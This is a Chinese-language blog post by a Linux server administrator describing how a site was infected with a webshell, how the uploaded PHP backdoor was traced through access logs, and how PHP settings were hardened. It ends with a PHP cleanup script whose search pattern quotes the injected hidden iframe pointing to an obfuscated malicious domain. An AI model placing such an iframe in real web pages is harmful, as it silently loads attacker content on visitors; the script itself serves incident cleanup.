LINUX下WebShell的查殺

相信每位系統管理所管理的LINUX服務器都中過WebShell之類的***吧~~很不幸~~前兩天我也中了一會獎~~~這裏將查殺經驗分享給大家

現象:服務器上的網頁由一個到數個,慢慢全部打不開,輸入網址後瀏覽器顯示的是白屏

我 當時就估計可能是文件被差異了而已代碼,我打開WEB服務目錄後發現很多htm、html、php文件的最後都被加了一段惡意代碼(代碼內容我就不發上來 了)。最初想的比較簡單,認爲是有人通過論壇的上傳附件功能以及DZ的HOMESHOW功能上傳了惡意圖片,就寫了個PHP的程序清理了下WEB服務目錄 裏所有的惡意代碼。
但第二天早上有出現了同樣的現象,之前只是懷疑服務器被掛馬,但看到第二天早上又出現了同樣的情況,我就確定服務器被人掛馬 了。我開始檢查WEB服務器的訪問日誌,過濾其中的上傳條目,從中尋找異常信息。發現在有些不可能存在PHP文件的目錄被有IP上傳了個PHP文件,找到 這個文件件後VI一看,可不就是***了。
找到***後就好辦了,爲了防止服務器被利用這個***上傳了多個***,我根據這個***的一些關鍵字寫在整個根做了幾次文件內容搜索,過濾出有相關內容的文件,並逐一檢查和刪除。
最後,在PHP配置文件裏打開了安全模式,並禁止在靜態頁面目錄和非WEB服務目錄運行PHP程序,以及禁止PHP執行相關係統名。

下面附上查找並替換文件中惡意代碼的PHP程序
<?php
error_reporting(0);
set_time_limit(0);

function dirtree($path='./') {
    $astr[] = '<iframe src=http://jeiurui9%2E%63%6E/j14/j14.htm width=100 height=0></Ifram
e>';
    $astr[] = '查找內容的關鍵字';

    $exts = array('swf', 'attach', 'rar', 'bmp', 'zip', 'dat','log', 'psd', 'png', 'sql',
'tpl', 'txt', 'phtml', 'css', 'js', 'php', 'html', 'htm', 'inc', 'xml', 'dll', 'bak', 'gif
', 'jpg');

    $d = dir($path);
    while(false !== ($v = $d->read())) {

        if($v == '.' || $v == '..' || $v == 'fix_file.php') continue;
        $file = $d->path.'/'.$v;

        $file = str_replace('//', '/', $file);
        if (is_dir($file)) {
            dirtree($file);
        } else {
            $files = explode('.', $file);
            $ext = array_pop($files);
            if (in_array($ext, $exts)) {
                $tmp_content = file_get_contents($file);
                if (strpos($tmp_content, 'jeiurui9') || strpos($tmp_content, '/j14/j14.htm
')) {
                    $safe_content = str_replace($astr, '', $tmp_content);
                    file_put_contents($file, $safe_content);
                    echo "fix $file\n";
                } else {
                   // echo "ok $file\n";
                }
            }
        }
    }

    $d->close();
}

dirtree(dirname(__FILE__));
?>
 

本文出自 “凝固瞬間” 博客,請務必保留此出處http://21wmd.blog.51cto.com/206183/207601

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章